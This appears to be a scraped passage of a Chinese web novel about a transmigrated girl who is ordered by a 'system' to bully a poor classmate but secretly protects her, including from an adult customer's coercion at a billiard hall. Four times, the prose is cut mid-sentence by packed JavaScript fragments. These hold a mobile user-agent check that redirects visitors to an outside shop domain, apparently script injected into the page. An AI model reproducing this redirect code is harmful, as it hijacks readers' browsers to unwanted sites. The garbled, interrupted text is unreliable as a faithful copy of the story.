安若却笑不起来,她觉得系统也完全没有把裴凝当作一个人来对待。 这个世界里,没有人会对裴凝好。 就连她都是伤害裴凝的存在。 唯一对裴凝好的人此刻正在医院,生死未卜。 见她没有回应,系统放低了声音,【宿主。】 【你怎么了?】 安若摇了摇头,转移了话题,“没什么,我就是在想,秦嫣这个时候会不会出现。” 毕竟她都做了这么过分的事情。 *35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209302|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安若逼迫裴凝吃过敏性的食物瞬间传遍了整个学校。 所有人的都多了几分对安若的忌惮,甚至还有人在论坛里发布了奖金池为10万的有奖竞猜。 【你们觉得新来的贫困生能忍多久?】 1.半个月 2.一个月 3.两个月 4.三个月 几乎所有人的答案几乎都聚集在1和2之间。 她们就像是草原上吃饱喝足的狮子,就喜欢看自己的同类去把玩那些手无缚鸡之力的食草动物,毕竟这样的表演她们也见过很多次了,不足为奇。 穷人,只是她们的玩物。 一条贱命而已。 “食物性过敏,初步判断是番茄。” 医务室的医生给出了实验结论,她看了看裴凝身上的制服又看了看安若,一下子就明白是发生了什么。 这群草菅人命的贵族学生。 “不过送来的及时,没有性命危险。” 校医说,“我给她注射了药,等她醒来会好很多。” 安若听完才总算松了一口气,她低声说,“谢谢你。” 校医假笑,“不用谢,安小姐。” 安若可是校医室的常客,曾经有一段时间经常装病威胁她们开病例,然后去秦嫣面前装可怜。 校医对她再熟悉不过了。 “我先出去了,有事可以按铃。” 校医走之前说。 安若听完后轻轻点了点头,“好的。” 一旁的小狗腿有点困惑。 她的老大什么时候这么有礼貌了? “真可惜啊。” 她一边打量着安若的脸色一边说,“这家伙命还真大。” 安若的脸色好像更差了。 她偏过头,声音很冷,“你先回去。” 小狗腿满脸不解。 为什么? 以前她们不都是一起欺负人的吗? 安若用很轻松的语气说,“她现在这么丑,我当然要拍一些照片。” 小狗腿一听,顿悟了。 她笑嘻嘻地说,“那若姐我先走了。” 她走之前还贴心的带上了门。 安若在原地站了很久,确定没有人之后她才将门彻底锁住。 医务室的休息间是独立的,里面没有监控,所以很安全。 安若做完这一切之后才转身看着裴凝。 裴凝白皙的脸颊上全是红肿的痘痘,嘴巴也肿了起来。 安若这时才偷偷撩起了她的袖口,发现上面的伤痕还没有消散,昨天的伤口甚至开始发炎了。 旧伤没消,又添了新伤。 安若从兜里摸出了软膏,这是她昨天买的。 她早就猜测到裴凝不会接受,本来的计划是偷偷找个借口送给她的,结果根本没用上。 安若轻轻将药膏抹在裴凝的伤口上,很是自责地说,“对不起。” 她给裴凝涂好药之后等了好久,秦嫣都没有来。 安若心里还有些怨气。 都快闹出人命了,难道这对秦嫣来说还不够吗? 老婆还要不要了? 安若给裴凝泡了一杯蜂蜜水,又将药膏摆上在了床头柜上后就出了门,找到了校医的休息室。 她恢复了原本的刁蛮,“如果她醒了,你就跟她说是一个穿着白色制服的女生让你给她看的病,知道吗?她要是问你关于我,你就说我原本要让她自生自灭,结果被那个女生拦住了,懂了吗?” 校医不懂她们的这些弯弯绕绕,只能点了点头,“明白了。” 安若这才放下了心,转身离开。 校医看着她离开的背影,默默腹诽,真是看不懂这些贵族子弟。 8. 会长的小狗腿(八) 裴凝醒来的时候,望着头顶雪白的天花板,脸上没有什么表情。 晕倒前的记忆缓缓涌入脑海。 她本来打算强撑着回去的,结果好像刚走到楼梯的时候就失去记忆了。 她转过头,打量着自己所在的地方。 很陌生。 裴凝缓缓坐了起来,却只觉得手臂和脸颊上那股不适缓解了很多。 裴凝撩开了自己的袖子,上面的伤口没有那么严重了,就连过敏的反应都好了不少。 “你醒了?” 校医走进来的时候刚好看到裴凝。 “本来还想再给你打一瓶吊水的,你醒了就不需要了。同学,你现在感觉怎么样,身体还有没有哪里不舒服?” 校医询问道。 裴凝的视线落在了她的白大褂上,后知后觉地意识到是有人把她送到医务室了。 “是谁送我来的?” 她的嗓音有些沙哑地问。 校医笑了笑说,“我也不认识,一个穿白色制服的学生送你来的。” 白色制服。 那就是S级。 裴凝印象里的S级,只有那天自称是学生会会长的家伙。 但是就算那人笑得再温和,裴凝都不由自主地感受到一顿恶寒。 以裴凝这么多年轻易相信别人的经验来说,那个家伙绝对不是这么心善的人。 她接近自己,多半是有什么目的。 “没有其他人来吗?” 裴凝思索片刻,又问道。 神了。 校医腹诽,怎么都被那个大小姐押中了。 虽然她不知道为什么安若不让她把真相说出来,但还是照做了。 “安小姐来过一次,但是...” 她面露为难,“她一直阻止我救你,想让你自生自灭,还是那个白色制服的女生拦住了她。” 那就没问题了。 裴凝在心里想,她就知道安若不是会那么轻易放她走的人。 “好的,我知道了。” 裴凝说,“多少钱,我转你。” 校医哪敢要,刚刚刷的都是安若的卡。 但安若也跟她吩咐过这些,于是赶紧摆了摆手说,“这个不需要费用,学校对C级生有豁免的。” 她说完后都为自己捏了一把汗。 因为眼前的女生眼睛太干净清冽,好像一下子就能看出穿别人的想法,拆穿支离破碎的谎言。 就在校医快要憋不下去的时候,裴凝才开口,“我知道了,谢谢你。” “没事没事。” 校医如释重负,“你对番茄过敏,以后还是不要吃了。幸亏这次救助得及时,不然你现在估计就得去三甲的ICU躺着了。” 裴凝抿着唇,淡淡地嗯了一声,“我知道了。” 从校医室出来的时候已经接近下午四点半。 裴凝在这里昏迷了将近三个小时,身上的斑斑点点已经消散,脸也恢复了往常的白净。 她活动了一下身子。 不置可否的是,身体也舒服了很多。 这段时间她的精神绷得太紧,很少能有这么纯粹的睡眠时间,这一觉反而把那些疲惫都减轻了。 枫丹一般下午四点就放学了。 裴凝估摸着时间,想着教室里应该没人了,去拿个书包,等下直接去台球厅。 只是她走在校园里,路过行人的目光都落在了裴凝身上。 她眉头微皱,不明所以,直到听见有人在悄悄说,“这就是论坛里的那个贫困生啊...” “是啊,惹怒了安若居然还生龙活虎的,也是神奇。” 裴凝一路走着,面不改色。 最终她停留在一个隐蔽的角落,缓缓打开了手机。 她一直都是知道学校是有论坛的,只不过上面的内容让裴凝极度不适,很少观看。 这次她点开之后,发现论坛里有不少关于她的照片。 照片里她被人扛着走,安若则是一脸不耐烦地在后面跟着。 裴凝认识那个抗着她的人,是安若的手下。 可是这就有点跟校医的言论相悖了。 既然安若并不在意她的死活,为什么又要管她呢? 这个疑问只在裴凝的脑海里一闪而过就被抛掷脑后。 毕竟她没有闲心去思考别人的想法,尤其是安若这种阴晴不定的人。 裴凝回到教室的时候,预想中的场景应该是书桌被人推倒,里面还可能会被藏很多垃圾,书包可能也会被人糟蹋得脏乱不堪。 但当她走到位置上时却有些意外。 只见她的书桌不仅干干净净的,桌子上还摆放了许多崭新的书本。 ...都是那些被别人丢掉的书本。 此刻都崭新地放在她的桌前。 不仅如此,裴凝还发现上面贴了一张便利贴,字迹很是清秀。 【今日作业:xxxx】 【好好给我写,明天必须让我看到答案。】 最后还搭配了一个怒气冲天的小猫。 裴凝垂眸看着那只小猫,最终冷着脸将那张纸条撕得粉碎。 不远处正扒拉着墙,偷偷观察的安若看到她把纸片撕掉后,感觉自己好像也要被裴凝撕掉了QAQ 【九九,她果然好生气。】 安若情绪低落地说,【她现在肯定很讨厌我。】 【讨厌你是好事啊宿主!你想想看,她越讨厌你,就越想逃离你,结果你依旧一直折磨她,欺负她,让她看不到人生的希望。直到这时秦嫣再从天而降,拯救她于水火之中,裴凝不就一下子爱上秦嫣了吗!这样咱们也可以早点完成任务了!】 系统的豪言壮志并没有安抚到安若。 她今天下午连休息都没有休息好,上课的时候频频走神,就在担心裴凝会不会病情加重。 虽然知道裴凝肯定很讨厌她,但是当看到裴凝把纸条撕碎的样子,她还是会有点难过。 【九九,你说原主最后会怎么死啊?】 安若轻声问。 【我瞅瞅。】 系统安静了几秒后说,【剧情里好像没详写,只说了什么苍蝇蛆虫...】 【停停停。】 安若紧张地抓着身边的树叶,【你别说了,我知道结果了。】 【别担心宿主,反正有感官屏蔽,不会很痛苦的,你现在就专心欺负裴凝就好。】 系统说,【你今天下午不就做得很好吗?】 安若听了之后,抿了抿唇,没有回答。 等她回过神时,裴凝早就消失在了教室里。 她走了。 安若悄悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209303|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 松了一口气,今天应该没有什么她的事了吧。 【今天是不是没有剧情了?】 她起身跺了跺有些发麻的脚,准备离开。 【是的哦宿主,你今天的任务已经超额完成了。】 安若松了一口气。 【但是裴凝每天依旧会有不同的危机刷新哦!按照剧情来看,裴凝在开学后不久就患上了轻微的抑郁症,因为她不仅在学校内遭受着霸凌,还在兼职场所被人看上了,她被人设计打碎了店里的名酒,只能被迫选择跟那个人在一起。但是她的性格无法忍受这样的结果,于是只能被迫辞掉了那份工作。】 安若那一口气又吸回来了。 她想都没想就抬脚就往校门口跑。 * 裴凝到台球厅的时候已经接近五点半了。 徐浅正在吧台打电话,“好的好的,我一定安排她去,您先等着哈。” 她挂电话的时候,脸上的笑容怎么都掩饰不过去。 裴凝将书包放在储物柜里,喊了声姐。 徐浅这时才回过神来,她视线落在裴凝身上,语气很是热切,“小凝,你今天怎么来得这么早?” 裴凝笑了笑,“今天放学没什么事耽搁。” 徐浅听完后点了点头,随后伸手拍了拍她的肩膀,“这一个月你不用在一层了,有个大老板指定让你每天去201陪她打。” 裴凝对于这个结果并不惊讶,反而早就在意料之中。 徐浅是一个唯利是图的商人,她一旦开始对谁眉开眼笑只能说明,在那个人身上她有利可图。 来这个台球厅玩的人都不差什么钱,但是一层和二层还是有区别的。 一层大多都是以玩乐为主,人员构成也干净,包厢都是半玻璃状的,有什么事情都会在第一时间内看到。 但是二层就比较鱼龙混杂了,里面的包厢是封闭的,采取的是最好的隔音材质。 之前裴凝来面试时,徐浅本来想拒绝的。 但在看到裴凝那张脸时,她又犹豫了。 毕竟美貌在这样的地方可是通行证。 只是不知道通的是天堂还是地狱。 裴凝听完后沉默了几秒,似乎正在思考。 徐浅见了赶紧接着说,“你别担心,是女顾客,一般不会太为难你的。” 不知为何,徐浅这么说,裴凝的脑海里不由自主浮现出安若那张嚣张又骄矜的脸。 对于现在的她来说,只要不是安若,都可以。 “好。” 裴凝表情很淡,“我接受。” 徐浅一听才真正的喜笑颜开,“那好好干,这个可是大客户,姓司。你到时候说点好听的话,嘴巴也甜点,她要是真的要求你做点什么,只要无伤大雅的话就忍一忍,知道了吗?” 裴凝自然是听懂了她的潜台词。 她扯了扯嘴角,“嗯。” “那就行。” 徐浅拍了拍她的肩膀,“她估计再过20分钟就会来了,你先去准备一下。” 裴凝:“嗯。” 等裴凝上了二楼的时候,她没有选择去包厢,而是先去了洗手间。 洗手间里没有人,裴凝就静静地站在镜子面前凝视自己。 过了很久她才露出了一个嘲讽的笑容。 真丑陋啊,裴凝。 9. 会长的小狗腿(九) “司小姐,您请。” 裴凝站在包厢内用轻轻擦拭着台球杆,门外响起了轻微的脚步声。 裴凝垂着眼,手上的动作却放慢了不少。 “嗯,你先退下去。” 那是一道听起来较为尖细的女声。 应该不太好应付。 裴凝在心里捉摸着,没什么表情地将杆子放下,缓缓走到了门口,努力勾起了一抹笑容。 等徐浅把门打开的时候,裴凝看到一个瘦瘦弱弱,混身穿着高定的女生站在了她面前。 这应该就是传说中的司小姐。 她一进门视线就几乎要黏在裴凝身上,那双杏眼像黏腻的毒蛇一般巡视着裴凝的脖颈、腰肢和腿。 裴凝今晚换掉了校服,穿上了工作服。 黑色的制服衬托得她格外秀美,再搭配上裴凝雕琢秀美的脸庞,让人格外移不开视线。 不愧是她一眼顶上的猎物。 裴凝对她的打量仿佛熟视无睹,她朝着司萍萍露出了一个标准的笑容,“司小姐你好。” “你好。” 司萍萍伸出了手,“听说你的球技不错。” 裴凝淡淡道,“过誉了。” 她想要抽回手的时候发现司萍萍还是握着,裴凝出声提醒,“您现在就要打吗?” 徐浅看她们这样也了然地笑了笑,她脚步自觉往门口撤,一边溜一边叮嘱,“小凝,陪司小姐好好玩,别怠慢了。” 裴凝点了点头,“明白。” 等徐浅将门轻轻带上后,司萍萍才轻轻牵起了裴凝的手,“好啦,现在陪我玩吧。” 裴凝将手抽了出来,声色很淡,“那我来带您。” 司萍萍眼里闪过一丝不悦,她可是从小到大被娇养大的小姐,父亲是暴发户,从小就对她爱得很。 不爱学习就不学,不喜欢什么就不做,还没有敢对她这么嚣张呢。 但是...她的视线落在裴凝那张冷淡又漂亮的脸颊,忽然觉得对待裴凝这样漂亮的玩物或许就需要一些耐心。 她需要有一点的耐心的。 不然裴凝说不定会跟以前的那些玩物一样,被她随便弄坏了。 “可是我不会打唉。” 司萍萍夹着嗓子说,“你可以教教我吗?” 裴凝礼貌勾唇,“当然。” 她拿起杆子,整个人俯身摆出标准的打球动作,“这样,手放在这里...” 她的话还没讲完司萍萍就打断了她的话,“哎呀,我不会,你能不能手把手教我?” 她说着手就悄悄搭上了裴凝的肩。 裴凝不动声色地移开了一步,她说,“司小姐天赋异禀,很快就能学会了。” 总是司萍萍再怎么迟钝,现在也能发现裴凝对她的排斥了。 她深深吸了一口气,刚要发作时,裴凝又转头望着她,语气很淡,“我相信你可以的。” 从始至终裴凝展现出来的都是疏离有礼。 尤其是她的那双凤眼,总会让人有一种想要平静下来的感觉。 司萍萍忽然又觉得可以忍一忍了。 她来之前是调查过裴凝的,确定她没有什么背景才会过来纠缠。 听说母亲重病,需要很多医药费,此刻母亲还在医院躺着,需要很多很多钱。 她的视线又落在了裴凝脸上未消散的轻微淤青。 那看来消息没错了。 因为里面的消息也提到,裴凝在学校里似乎过得并不好。 这才开始一周,就弄成了这副狼狈不堪的样子。 真是可怜。 她故作遗憾地说,“好吧。” “但我现在不想打球了。” 司萍萍笑看着裴凝问,“陪我喝点酒吧。” 裴凝下午刚输了药,很难说有没有跟酒相克的成分。 她嗓音淡淡,“抱歉,今天不太方便。” 司萍萍一听,露出了一个很腻味的笑容,“哪里不方便?有什么需要姐姐帮忙的吗?” 裴凝忍着要反胃的冲动,朝着司萍萍微微一笑,“谢谢,不用了。” 司萍萍假装遗憾地叹了口气,“那好吧,我记得我在你们这里存了一瓶酒,你帮我拿过来吧。” 二楼有一个专门的酒柜,里面储存着各种名酒。 裴凝颔首,“好的。” 等着她出去后,司萍萍坐在沙发上微微翘着二郎腿,视线落在裴凝的身后。 少年的身段很漂亮,刚好是司萍萍喜欢的那种类型。 她露出了一个意味深长的笑容,把玩着手中的玉镯, “好不听话呀...” 等裴凝拿着酒进来的时候,司萍萍早就将高脚杯摆好了,她拍了拍身边的位置,“坐。” 裴凝垂着眼,“我们有规定,不能跟客人坐在一起。” “现在有没有人,你怕什么。” 司萍萍说,“有姐姐在,没人敢说你一个不是。” 裴凝这时就像一个死扣字眼的呆子,“规矩不能破。” 司萍萍见她这样,反而更来了兴趣。 她是这里的老顾客了,上次在这里玩得太过火,被家里关了大半年,昨天刚出来。 恰巧就碰到裴凝在一楼教别人打桌球,浑身都很带劲,包括那张脸。 她向来都是行动派,喜欢的东西永远都等不及,两天已经是她耐心的底线了。 司萍萍舔了舔嘴唇,有点急不可耐。 “真的不来吗?” 司萍萍缓缓将玉镯子取下,“你坐下,这个镯子就是你的了。” 虽然裴凝对这些东西不太了解,但一看就知道不便宜。 只需要一个,妈妈的病就能迎刃而解。 她现在不需要再忍辱负重,能够有很好的生活。 而她所需要做的只是坐在司萍萍的身边。 司萍萍以为裴凝会这么想。 “抱歉。” 裴凝说,“这太贵重了,您还是自己收好吧。” 司萍萍有些不耐烦了,她干脆将镯子塞进了裴凝的手里,“说是给你的就是给你的,拿着。” 裴凝眉头微蹙,她将镯子放在了一旁,“我给您倒酒吧。” 司萍萍被她的举动弄得很不悦,刚刚刻意伪装的良好涵养在此刻快要被揭穿了。 她视线落在裴凝身上,干脆不装了,“你要是不收下这个镯子,我今天不会让你出这个门的。” 她说着就抓住了裴凝的手,想给她带上。 裴凝稍稍挣扎了一下,结果司萍萍手中的玉镯子就掉在了地上,发出了清脆的碎裂声。 裴凝和司萍萍都愣住了。 只不过司萍萍更多的是兴奋和爽。 让你不听我的话,本来不想给你惩罚的。 裴凝那一瞬间大脑有些宕机。 她知道司萍萍接近自己的目的不纯,可是她刚刚明明没有... 没过两秒,裴凝就缓过劲了。 司萍萍是故意的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209304|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她的心里逐渐泛起了寒意。 妈妈医院的费用还没有缴清,她跟学校还有一年的合同,如果提前离开要背负添加的违约金。 “怎么办,我的镯子。” 司萍萍装做无奈地叹气,“这一个要五十万呢,你打算怎么赔我?” 她边说边打量着裴凝的表情。 发现对方还是那副淡然的模样。 只是... 她的视线落在了裴凝微微攥紧的手上,忽然露出了了然的笑容。 原来只是在装冷静啊。 她就说嘛,一个高中生哪能这么淡定。 五十万对她们这些穷人来说可不是什么小数目。 她可是听说,那些穷人赚五十万都需要十多年,很可怜的。 裴凝纵使大脑再灵活,这个时候也没有想好解决方案。 她在思考未来需要怎么赚钱去还给司萍萍。 “不过你也别太紧张,五十万而已,只要你能乖乖听我的话,陪我几个月,我这笔帐就一笔勾销。” 司萍萍说着就用鞋尖暧昧至极地从裴凝的脚踝蹭到小腿。 “要不要答应?” 司萍萍声音放得很轻。 裴凝的脸色很差劲,一时间没有回答。 但司萍萍已经知道了结果,她缓缓起身,伸出了双手试图环住裴凝的腰,“这样就对——” 她的话还没说出口,就见到裴凝往后退了一步。 司萍萍表情一僵,瞬间明白了裴凝的意思。 她演都不想演了,“你不愿意?” 裴凝刚刚那几乎是下意识的动作。 她不是同性恋,无法忍受跟同性这样接触。 可是这五十万她现在也是真的赔付不起。 裴凝没有想过向徐浅求助,她知道,没有人会来帮她。 “我会想办法赔您的。” 裴凝语速很慢,“我...” “想办法?” 司萍萍恢复了原本尖细的声线,“这镯子可不便宜,你拿什么赔?” 她冷笑了一声,“你今天要是不把钱给我算清楚,我们等下就去警察局。” 裴凝拳头紧紧攥着,眼里满是屈辱和愤怒的看着司萍萍。 偏偏是这样的眼神让司萍萍体内的血液都快沸腾了。 她就喜欢这样的眼神。 半年前那个玩物也是用这样的眼神看着她,最终乖乖跪下来臣服。 司萍萍觉得自己胜券在握,“我给你一分钟,做我的情人还是赔我五十万。” 她看着裴凝那张年轻到过分的面孔,“不过别担心,姐姐会顾忌着你一点的。” “我听说你妈妈身体好像还不太好,乖乖跟着我,以后不会亏待你的。” 司萍萍抬手轻轻拂去了裴凝脸颊侧边的碎发,蛊惑道,“以后你也不用出来打工了,想要什么我都可以给你,不好吗?” 裴凝缓缓抬眼看着她,“我——” 她的话还没说完,门外就响起了剧烈的敲门声。 两人纷纷往门口看去,只见安若不知什么时候打开了门,此刻正神色不逾地往屋子里走。 “做什么呢?” 她看到这个女人碰裴凝的脸就吓得浑身发毛,生怕她来迟了。 现在的剧情该不会过时了吧。 脑海里系统不断发出警报声,但安若熟视无睹。 她佯装镇定地走到裴凝面前,将司萍萍推开,神情很冷,“你也配碰我的东西?” 10. 会长的小狗腿(十) 安若的力气很大,司萍萍被她推倒在了沙发上。 她哪里被人这么对待过,她不可置信地瞪着安若,“你知道我是谁吗就敢这么对我。” 原主的家庭在这里也称得上顶尖,安若自然是不怕她,“我管你是谁,碰了我的东西就不对。” 她跑得太急,呼吸都有些不稳,胸膛不断起伏着。 但为了让自己看起来威严点,安若硬生生憋着一口气,不让自己看起来有半分可以击溃的地方。 裴凝的视线从在安若进来的时候眼里闪过一丝厌恶。 她想要挣开安若的手,但又想到了安若手上有她的照片。 她在学校经历的这些绝对不能让妈妈看到。 这样想着,裴凝最终还是没有动。 司萍萍的视线在她们之间来回扫荡,最终视线落在了安若身上的校服。 她曾经也在那所学校就读过,她的家境也不过是B级。 眼前的人居然是A级。 司萍萍有一瞬间的犹疑,但很快她又镇定了下来。 是A级又如何? 她阅人无数,眼光毒辣,光是从裴凝的微表情就能看出她们之间的关系并不好。 “我本来不想这样做的,可是她可是打碎了我一个玉镯子,你说这笔帐该怎么算?” 司萍萍用鞋尖踢了踢在地上碎成一片的玉镯,“这一个可是要五十万的,既然你说她是你的东西,那这笔帐你就帮她还了吧?” 此言一出,裴凝神色一僵,率先挣开了安若的手。 “这件事是我的问题,你——” 安若垂眸望着地上的玉镯子,嘴角扬起了一抹笑容,“我当然可以赔给你。” 司萍萍一听,摆出了胜券在握的表情。 今天来这一趟,不论是碰到裴凝还是让她赔钱,她都稳赚不亏。 “那我把银行卡号给你吧。” 司萍萍撩了撩头发,刚准备拿出手机时就一只秀白的手抽走。 她瞬间抬头,试图伸手去把手机抢回来,“你干什么?” 安若侧身躲过,语气很诚实,“既然要我赔钱,我找人来验一下真假不过分吧?” 系统停止尖叫,【宿主,你怎么知道这是假的?】 安若谦虚:【以前稍微研究过。】 司萍萍眼里闪过一丝慌乱,还是强装镇定地说,“我有收据。” “不用收据。” 安若弯了弯眼睛,“我家有专业的鉴别师,她过来不需要多久。” 司萍萍一听就有些如坐针毡。 她平时喜欢那些奢侈品,什么钻石宝石也没少买,只是每个月几百万的花销家里有些承担不起,最终卡还被限额了。 所以司萍萍喜欢上了买高仿。 她本身就有钱,就算浑身都是高定也不会有人怀疑,更别说来这种地方,对待裴凝这种没见过世面的小女生了。 而且目前发生的这些事本来就在她的预料范围内,司萍萍就算有真品,也不会带出来的。 “不说话我就当你同意了。” 安若说着就拿出手机做出要打电话的样子,司萍萍下意识伸手拉住她的手,“等等。” 安若放下了手,“有什么事?” 司萍萍哼了一声,“不就是五十万而已,哪里需要这么大张旗鼓,我不要了就是。” 她说着就拿起包包准备开溜,刚要跟安若擦肩而过的时候被她伸手揽住了去路。 安若冷着脸,“我允许你走了吗?” 司萍萍抓紧了拿着包包的手,“你想干嘛。” 安若不笑的样子很有压迫感,她语气很轻,“既然你的事情解决了,那我的事你打算怎么解决呢?” 司萍萍愣了一下,随后明白了安若的意思。 她视线落在裴凝身上,心里很是后悔。 不是说裴凝生活拮据,在学校里总是被欺负吗? 那眼前的这个人为什么还要这样维护她? “我给你30秒思考。” 安若笑了,“要是没有我满意的答案,我可不能保证会发生些什么。” 司萍萍是见识过A级生那可怕的财力的。 她很明白,眼前的人她惹不起。 但她哪里受过这种委屈,从小到大,除了上学的那一年,就没人敢这么欺负她。 可司萍萍最终还是咬了咬牙,对着裴凝说,“不好意思,刚刚是我手滑了,镯子你不用赔了。” “错。” 安若说。 “我刚刚真的是不小心,有监控作证。” 司萍萍搬出了所谓铁证。 安若不用想就知道刚刚肯定是司萍萍故意的,她挑了挑眉,看着裴凝问,“是这样吗?” 裴凝从刚刚开始就沉默到了现在。 她不明白安若一定要横插一脚的目的是什么。 但是她抬眸望着安若,少女那张骄矜精致的脸上此刻透露着某种裴凝很陌生的东西。 她那时并不知道,这是要为她做主的意思。 她沉默了许久,并没有回答。 “你看看。” 安若对着司萍萍说,“她都被你吓得说不出话了。” “?” 司萍萍一口气差点提不上来,内心疯狂腹诽,她明明是不太想理你好不好? 裴凝也怪异地瞥了她一眼。 安若一开始就没有期望裴凝会回应她。 她擦过司萍萍的肩膀,闲散地走到了桌边,“既然你说你是不小心的,那我倒是要看看有多不小心。” “转过来。” 安若说。 司萍萍不情不愿地转过了身,猝不及防地,被倒了一脸的红酒。 她狼狈地用手掌擦着脸,“你干什么?” 安若若无其事地将酒杯放在了桌子上,“不好意思,手滑了。” 她凤眸弯起了一道柔软的弧度,“有监控作证,要不要陪我去调监控呀?” 司萍萍都要被气哭了,她精心打理的头发现在黏糊糊的,淡妆也花得差不多了,看起来完全没有刚进来时的洋洋得意。 她都这样了,还怎么出去啊? “问你话呢。” 安若恢复了原先那副冷漠的模样。 或许是原主身上还残留着霸凌者的气息,司萍萍吓得不敢说话了。 她虽然已经二十五岁了,但心智并不成熟,只知道欺软怕硬。 安若显然不是她能招惹的人。 司萍萍忍了忍没忍住,转身就跑。 安若就这么冷冷目送着她离开。 大脑内系统还在持续发出尖锐的叫声,【宿主!你怎么还横插剧情!】 安若被她喊得有些头疼,【别担心,我会补救的啦。】 系统抽抽噎噎,【你想怎么补救?咱们现在可是一条 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17209305|197377||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绳上的蚂蚱。】 安若想着,转过了身,目光落在裴凝身上,语气很冷。 “现在就要解决你的事了。” 裴凝目光沉沉,只是静静地看着安若,她嘴唇动了动,最终还是涵养超过了厌恶,“刚刚谢谢你。” “谢我?” 安若像是听到了什么天大的笑话,小脸上满是刻薄,“你不会以为我是来救你的吧?” 裴凝当然知道她的目的不简单。 她默了一秒,“那你想做什么。” 安若沉默了。 裴凝就知道真正的狂风暴雨要来了。 其实安若只是在思索。 她是来干什么的?QAQ 她只知道自己听到后面的剧情后一个没忍住就往这边跑了。 刚刚那一切都是安若临场发挥的。 她甚至没有给自己想好一个理由。 安若的视线落在了一旁的桌球上,福至心灵。 “你今天故意晕倒让我难堪的事情我都还没找你算账呢。” 安若双手环胸,靠在台球桌上,白细的大腿裸露在外面,很凶地问,“过来。” 对于她的倒打一耙,裴凝已经习以为常。 事情的是与非现在已经不重要了。 她抬眼看着安若,视线不知为什么落在了安若那块白到晃眼的皮肤。 她静静走到了安若面前,等待着耳光落下。 安若那天将她都在厕所就这是这样,让人抓住她的头发,往她脸上抽打。 只是脸上没有穿来疼痛感,反而小腿被人踹了踹,安若凤眼瞪着她,“本小姐帮了你这么大一个忙,你都不表示表示吗?” 或许是刚刚司萍萍给裴凝留下的冲击太大,她抗拒地看着安若。 裴凝干脆假装不懂,“表示什么?” “当然是教本小姐打球了。” 安若理所应当地说。 这可是她刚刚好不容易想出来的绝招,裴凝这么讨厌她,还要跟她接触,肯定很屈辱。 裴凝鸦羽般的睫毛颤了颤,黑沉的眸子盯着安若,脑海飞速运转着各种可能。 现在这么好的时机,不打她,反而只是让她教导打球? 安若是这么天真的人吗? 见她沉默,安若还以为是自己的要求太过分了。 她咳了一声,“你要是不——” “好。” 安若愣住,“什么?” 裴凝望着她,一字一顿,“我教你。” 今天不管出于什么,她都欠了安若一个很大的人情。 裴凝愿意克服自己对安若那生理性的排斥。 她拿过球杆,问安若,“我先教你姿势吧。” 安若还真的没有接触过这些,她对这个也很好奇,于是故作矜持地点了点头。 裴凝拿过了球杆,先是示范性给安若做了个展示,“能看明白么?” 安若学习能力很强,她拿过杆子,“你不要小瞧我。” 但她没有想到自己只是眼睛会了。 明明裴凝的姿势摆得那么专业,一到她就这么...扭曲。 安若脸都尴尬红了,她维持着塌着腰的姿势,凤眸瞪着裴凝,“还不快来教教我?” 裴凝这时才回过神来。 她自觉走到了安若身边,犹豫片刻后才轻轻按了按她的腰,声音很沙哑,“这里低一点。” 11. 会长的小狗腿(十一) 安若按照裴凝的姿势来做,还回过头问,“现在标准了吗?” 为了配合原主的喜好,安若一直都是穿着短裙。 枫丹的校服裙摆一般都在膝盖上侧,平时看不出一个大概,可一旦换了个姿势就变了味,裴凝能将她大腿后侧那块雪白看得一清二楚。 可能从小到大都是被娇养大的原因,安若的腰碰起来很软。 裴凝随意看了一眼她的动作,抽回了手,“嗯。” 安若瞬间觉得自己快要化身为专业球手了。 她继续摆着问,“那现在我要怎么打?” 裴凝喉咙不自觉咽了一下,“把球打散。” 安若严阵以待,对着球杆好一会儿,用力一戳! 由于杆头太朝上,戳了个空。 安若愣了一下,下意识看向了裴凝。 裴凝很难形容安若的表情,好像很错愕又好像带着几分愠怒。 如果是以前,裴凝不会有任何表示,甚至还会不动声色地嘲弄一番。 但今天她欠了安若一个人情,裴凝思索片刻,学着平时兼职时看其他人哄顾客的方式,放缓了嗓子说,“第一次能打出去已经很棒了。” 